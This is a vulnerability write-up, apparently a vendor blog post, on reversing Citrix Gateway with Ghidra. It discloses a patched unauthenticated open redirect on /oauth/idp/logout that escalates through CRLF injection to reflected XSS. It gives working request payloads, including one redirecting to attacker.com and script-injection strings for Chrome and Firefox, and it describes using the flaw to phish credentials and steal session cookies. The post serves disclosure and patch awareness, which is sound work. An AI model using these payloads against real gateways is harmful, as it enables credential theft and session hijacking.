Reversing Citrix Gateway for XSS

Reversing Citrix Gateway for XSS

One of the targets we looked at late last year was Citrix Gateway. Citrix Gateway is another of these “all-in-one” network devices, combining a load balancer, firewall, VPN, etc. Older versions of this product were sold under the name “NetScaler”. In this case we were only looking at the VPN component (Citrix Gateway). A quick search at the time of writing yielded about ~50,000 instances of Citrix Gateway were publicly accessible. So even a smaller issue like cross-site scripting has a potentially huge impact.

During our research we discovered an open redirect vulnerability which was exploitable without authentication. We were also able to pivot this into CRLF injection leading to XSS or potentially cache poisoning if Citrix Gateway is deployed in such a configuration. For those who are concerned please don’t hesitate to update your deployments, the patch details are available here. Just before writing this post we did a quick scan of a hundred Citrix Gateway instances and found over half were still unpatched.

Understanding Citrix Gateway

Citrix Gateway is a FreeBSD derivative with several extensions, including a custom network stack. A significant portion of the application (including this network stack) is packed into a what is called the Netscaler Packet Processing Engine (nsppe).

Not knowing this ahead of time made reversing initially a bit puzzling as common techniques don’t work as expected. For example, since we were targeting a web service, an easy starting point is to find what process is listening on the port and then work backwards from there. But if we ran sockstat (a FreeBSD utility similar to netstat), we got the following:

root@ns# sockstat -4 -l
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS      
nsmonitor nsumond   831   6  tcp4   127.0.0.1:3013        *:*
root     snmpd      615   10 tcp4   127.0.0.1:3335        *:*
root     snmpd      615   20 udp4   192.168.1.90:161      *:*
root     snmpd      615   21 udp4   127.0.0.1:161         *:*
root     nscertforg 613   3  tcp4   127.0.0.1:15555       *:*
root     aslearn    611   11 tcp4   127.0.0.1:3020        *:*
root     iked       607   6  udp4   192.168.1.90:500      *:*
root     iked       607   7  udp4   127.0.0.1:500         *:*
root     iked       607   8  udp4   192.168.1.90:4500     *:*
root     iked       607   9  udp4   127.0.0.1:4500        *:*
root     iked       607   10 tcp4   127.0.0.1:8888        *:*
root     nsaaad     602   3  tcp4   127.0.0.1:8766        *:*
root     nskrb      598   3  tcp4   127.0.0.1:8788        *:*
root     php        543   3  tcp4   127.0.0.1:9999        *:*
root     imi        529   5  tcp4   *:4001                *:*
root     imi        529   6  tcp4   127.0.0.1:3001        *:*
root     nsconfigd  516   10 tcp4   *:3010                *:*
root     nsclusterd 480   5  tcp4   127.0.0.1:7001        *:*
root     nsclusterd 480   6  tcp4   127.0.0.1:7002        *:*
root     nsclusterd 480   7  tcp4   127.0.0.1:7003        *:*
root     nsclusterd 480   8  udp4   *:*                   *:*
root     nsaggregat 478   3  tcp4   127.0.0.1:5555        *:*
root     nsmap      476   5  tcp4   127.0.0.1:3014        *:*
nobody   httpd      284   4  tcp4   *:80                  *:*
nobody   httpd      284   5  tcp4   127.0.0.1:81          *:*
nobody   httpd      283   4  tcp4   *:80                  *:*
nobody   httpd      283   5  tcp4   127.0.0.1:81          *:*
nobody   httpd      282   4  tcp4   *:80                  *:*
nobody   httpd      282   5  tcp4   127.0.0.1:81          *:*
nobody   httpd      281   4  tcp4   *:80                  *:*
nobody   httpd      281   5  tcp4   127.0.0.1:81          *:*
nobody   httpd      280   4  tcp4   *:80                  *:*
nobody   httpd      280   5  tcp4   127.0.0.1:81          *:*
root     sshd       213   4  tcp4   *:22                  *:*
root     httpd      207   4  tcp4   *:80                  *:*
root     httpd      207   5  tcp4   127.0.0.1:81          *:*
root     syslogd    197   6  udp4   127.0.0.1:514         *:*

Note that the Citrix Gateway service we were looking for is accessed on port 443. A port which doesn’t appear in the above list at all. Because Citrix Gateway uses its own network stack, it doesn’t necessarily populate the structures used by tools like sockstat in the way a vanilla FreeBSD installation would.

Looking through the documentation and searching online we did find that if we drop out of the bash shell and into the provided Citrix Gateway command shell, there are command we can run that give us some information.

> show ns connectiontable -Listen
NAME       IP                                       PORT    SVCTYPE      Traffic Domain 
INTERNAL   127.0.0.1                                0       ROUTE        0              
INTERNAL   192.168.1.90                             0       TCP          0              
INTERNAL   192.168.1.90                             0       ANY          0              
INTERNAL   fe80::20c:29ff:feae:24c2                 0       TCP          0              
INTERNAL   fe80::20c:29ff:feae:24c2                 0       ANY          0              
INTERNAL   ::1                                      0       ROUTE        0              
INTERNAL   0.0.0.0                                  520     RIP          0              
INTERNAL   127.0.0.1                                5000    RPCSVR       0              
INTERNAL   192.168.1.90                             520     RIP          0              
INTERNAL   192.168.1.90                             21      FTP          0              
INTERNAL   fe80::20c:29ff:feae:24c2                 21      FTP          0              
INTERNAL   192.168.1.90                             161     SNMP         0              
INTERNAL   fe80::20c:29ff:feae:24c2                 4001    TCP          0              
INTERNAL   fe80::20c:29ff:feae:24c2                 161     SNMP         0              
INTERNAL   192.168.1.90                             179     ANY          0              
ns_int_ulf 127.0.0.2                                5557                 0              
ns_int_tcp 127.0.0.2                                53      DNS_TCP      0              
ns_int_nam 127.0.0.2                                53      DNS          0              
INTERNAL   192.168.1.91                             443     UNKNOWN      0              
Gateway    192.168.1.91                             443     SSL          0              
nshttps-12 192.168.1.90                             443     SSL          0

However, this still doesn’t give us much to go on. At this stage, we were feeling a bit lost. And with not much else to go on, we started searching for any manuals or documentation on the Citrix Gateway and NetScaler operating system architecture to try and understand how the device works. After browsing through quite a few leaked slide decks and unofficial blog posts, we had a rough idea of how Citrix Gateway worked. We knew at the very least, that auditing nsppe was probably where we should start.

An interesting quirk of the Gateway component being bundled with the network stack in this nsppe binary is that any debugging must be done over the console. You can imagine why this is the case, setting a breakpoint while in an SSH session will sever the connection since no more packet processing to support the SSH session can occur while the process is suspended. As such, most of the analysis was performed offline by reading the code rather than through interactive debugging.

Enumeration Adventures with Ghidra

We found the binary at /netscaler/nsppe and it was frustratingly large, coming in at 42MB. We copied off the binary and decompiled with Ghidra, but unfortunately, decompilation failed on a number of key functions. We had more success after bumping up the decompiler resources under Edit -> Tool Options -> Decompiler to the following.

  • Cache Size (Functions): 2048
  • Decompiler Max-Payload (Mbytes): 512
  • Decompiler Timeout (seconds): 900
  • Max Instructions per Function: 3000000

We left Ghidra decompiling for an hour or so over lunch and came back to find everything successfully decompiled. Saving each function to a .c file gave us ~300MB of code to audit! Which was a lot, but at least we had somewhere to start now.

We proceeded to grep through the code for any string that resembled a URL (ASCII text, separated by slashes). We combined this with browsing around our own instance of Citrix Gateway and instances online, as different configurations and versions yielded slightly different login pages. Lastly, we also read through more configuration documentation from Citrix. Combining these three techniques we had a decently sized list of endpoints to enumerate.

We went through each endpoint on the list and tried prodding it with Burp to see if Citrix Gateway would actually respond, and if so, how. Some endpoints worked, some didn’t. We searched the code for references either to the endpoints we were hitting, or for strings we were seeing in the response. For example, if an endpoint redirected us to /vpn/tmlogout.html, we’d search the code for /vpn/tmlogout.html.

One function we eventually found was ns_vpn_process_unauthenticated_request. As you can probably guess by the name, quite a few endpoints we were searching for lead us back to this function. And the fact that it was named as “unauthenticated” was encouraging as we were looking for pre-authentication vulnerabilities.

A big problem we had been facing up until this point is that it wasn’t really clear how the path routing was being performed. We could see a lot of URLs in the binary, but most were either in log messages or response payloads such as a hardcoded string containing an XML response payload that included URLs. While digging through ns_vpn_process_unauthenticated_request we realised that Ghidra had failed to identify many compiler optimised string comparisons. In ns_vpn_process_unauthenticated_request we found many instances of the following pattern.

if ((((ulong)*(undefined8 *******)pBVar3 | 0x2020202020202020) == 0x687475612f666e2f) &&
   (((ulong)(pBVar3->RR).d | 0x2020202020202020) == 0x657774726174732f)) {
  bVar48 = (*(ulong *)&(pBVar3->RR).top | 0x2020202020202020) != 0x6f642e7765697662;
}
if (!bVar48) {
  uVar37 = ns_aaa_start_webview_for_authv3((long)local_50,(long)local_48);
  pBVar39 = (BN_MONT_CTX *)(uVar37 & 0xffffffff);
  goto LAB_0073f539;
}

An if statement with several comparisons where every byte is OR’d with 0x20 followed by some kind of response handler, in the case above ns_aaa_start_webview_for_authv3. Hovering over the hexadecimal comparison value Ghidra would helpfully display the char[] representations. Which for the above is the following three values.

  • 0x687475612f666e2f -> htua/fn/
  • 0x657774726174732f -> ewtrats/
  • 0x6f642e7765697662 -> od.weivb

If we byte-reverse this we get:

  • 0x687475612f666e2f -> /nf/auth
  • 0x657774726174732f -> /startwe
  • 0x6f642e7765697662 -> bview.do

We had finally figured out how path routing was performed and why it was so difficult to search for. The compiler had inlined these short string comparisons to several equality checks rather than calling a separate function. The | 0x20 pattern was a bit-fiddling trick to lowercase the input. Lowercase ASCII letters are 32 bytes (0x20) ahead of their capital counterparts. OR’ing with 0x20 is an easy way to convert any uppercase letters to lowercase, while keeping all the existing lowercase letters the same.

Finding the Cross-Site Scripting

Now that we had a much better understanding of what was going on, we were able to uncover more unauthenticated endpoints to enumerate. And we wouldn’t have to do quite as much searching to figure out where the code was to handle them. One endpoint we found was /oauth/idp/logout. Looking at the routing code we had the following in ns_vpn_process_unauthenticated_request.

if (((((ulong)*(undefined8 *******)pBVar3 | 0x2020202020202020) == 0x692f687475616f2f)
    && (((ulong)(pBVar3->RR).d | 0x2020202020202020) == 0x756f676f6c2f7064)) &&
   ((*(byte *)&(pBVar3->RR).top | 0x20) == 0x74)) {
  uVar37 = ns_aaa_oauth_fetch_logout_url(0,(long)pBVar3,(uint)uVar8);
  vpn_location_url_len = (int)uVar37;
  if (vpn_location_url_len < 1) {
    vpn_location_url = "/vpn/tmlogout.html";
    vpn_location_url_len = 0x12;
    uVar14 = 0x880002;
  }
  else {
    vpn_location_url = (char *)tmpbuf512;
    uVar14 = 0x880002;
  }
  goto LAB_0073da38;
}

/vpn/tmlogout.html is what we kept seeing as the Location header of the response. In the code above it looks like that is the default value, but otherwise it is set to tmpbuf512. Diving into the decompiled output for ns_aaa_oauth_fetch_logout_url we found the following helpful log message. The snippet missing post_logout_redirect_uri caught our attention.

...
if (0x484 < uVar2) {
    __format = "%s : OauthIDP logout request failed to extract redirect URI: missing post_logout_redirect_uri  %.*s for %.*s";
LAB_0061f124:
    uVar2 = snprintf(large_auditlog_message,0x3fff,__format,"ns_aaa_oauth_fetch_logout_url",
                 (ulong)param_3,param_2,uVar3,lVar5);
    goto LAB_0061f13e;
}
...

Playing around with this endpoint in Burp, we identified the query parameter post_logout_redirect_uri. Given the name of the parameter, and what we knew about this function, it seemed a good candidate for an open redirect vulnerability. We tried out our theory and were happy to have found our first vulnerability, an open redirect.

GET /oauth/idp/logout?post_logout_redirect_uri=attacker.com HTTP/1.1
Host: 192.168.1.91

HTTP/1.1 302 Object Moved
Location: attacker.com
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Connection: close
Content-Length: 0
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8

As we saw so much raw memory handling and copying in our analysis (both here and elsewhere). We thought it prudent to double check the parameter for CRLF injection and found we were able to pivot this into a reflected cross-site scripting attack too. By inserting two newlines (%0d%0a%0d%0a) at the start to prematurely end the HTTP headers and start inserting HTML content.

GET /oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a<script>alert(document.cookie)</script> HTTP/1.1
Host: 192.168.1.91

HTTP/1.1 302 Object Moved
Location: 

<script>alert(1)</script>
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Connection: close
Content-Length: 0
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=utf-8

In Chrome this is an immediate XSS, Firefox handles a blank Location header a little differently. A working payload for Firefox is ws://localhost/x%0D%0A%0D%0A<script>alert(1)</script>.

Impact

With this vulnerability we’re able to trivially redirect users to a phishing page which mirrors the Citrix Gateway logon screen to steal credentials. Alternatively, we can execute arbitrary JavaScript in the victim’s browser. Citrix Gateway appears to be pretty lax about session cookies, HttpOnly is not often set. As such, stealing the session cookie is trivial, as shown below.

 

Even if OAuth is neither enabled nor configured, the vulnerable endpoint is still available. And as mentioned at the beginning, Citrix Gateway is widely deployed and at the time of this article, often unpatched. This leads to a huge number of public, affected hosts.

Conclusion

Some key learnings from this research center around really understanding how a particular application is architected. Especially if the operating system is not running a stock version of Linux / BSD, even though, on the face of it, the OS appears unmodified. The same goes for tooling like Ghidra and understanding how it handles compiler optimisations, which may obscure what the code is actually trying to achieve, as was the case with the string comparisons. Lastly, don’t discount little things like CRLF injection. When dealing with devices that aren’t running a standard web server, it pays to try out these techniques that ordinarily have built in protections.

There’s still a lot more to look at in Citrix Gateway, we’ve only just scratched the surface. And with such a wide deployment base even little vulnerabilities can have a big impact.

To remediate this vulnerability, upgrading to the latest version of Citrix Gateway is recommended. For the for list of affected versions please see Citrix’s security bulletin here.

And, as always, customers of our Attack Surface Management platform were the first to know when this vulnerability affected them. We continue to perform original security research in an effort to inform our customers about zero-day vulnerabilities in their attack surface.

[Source]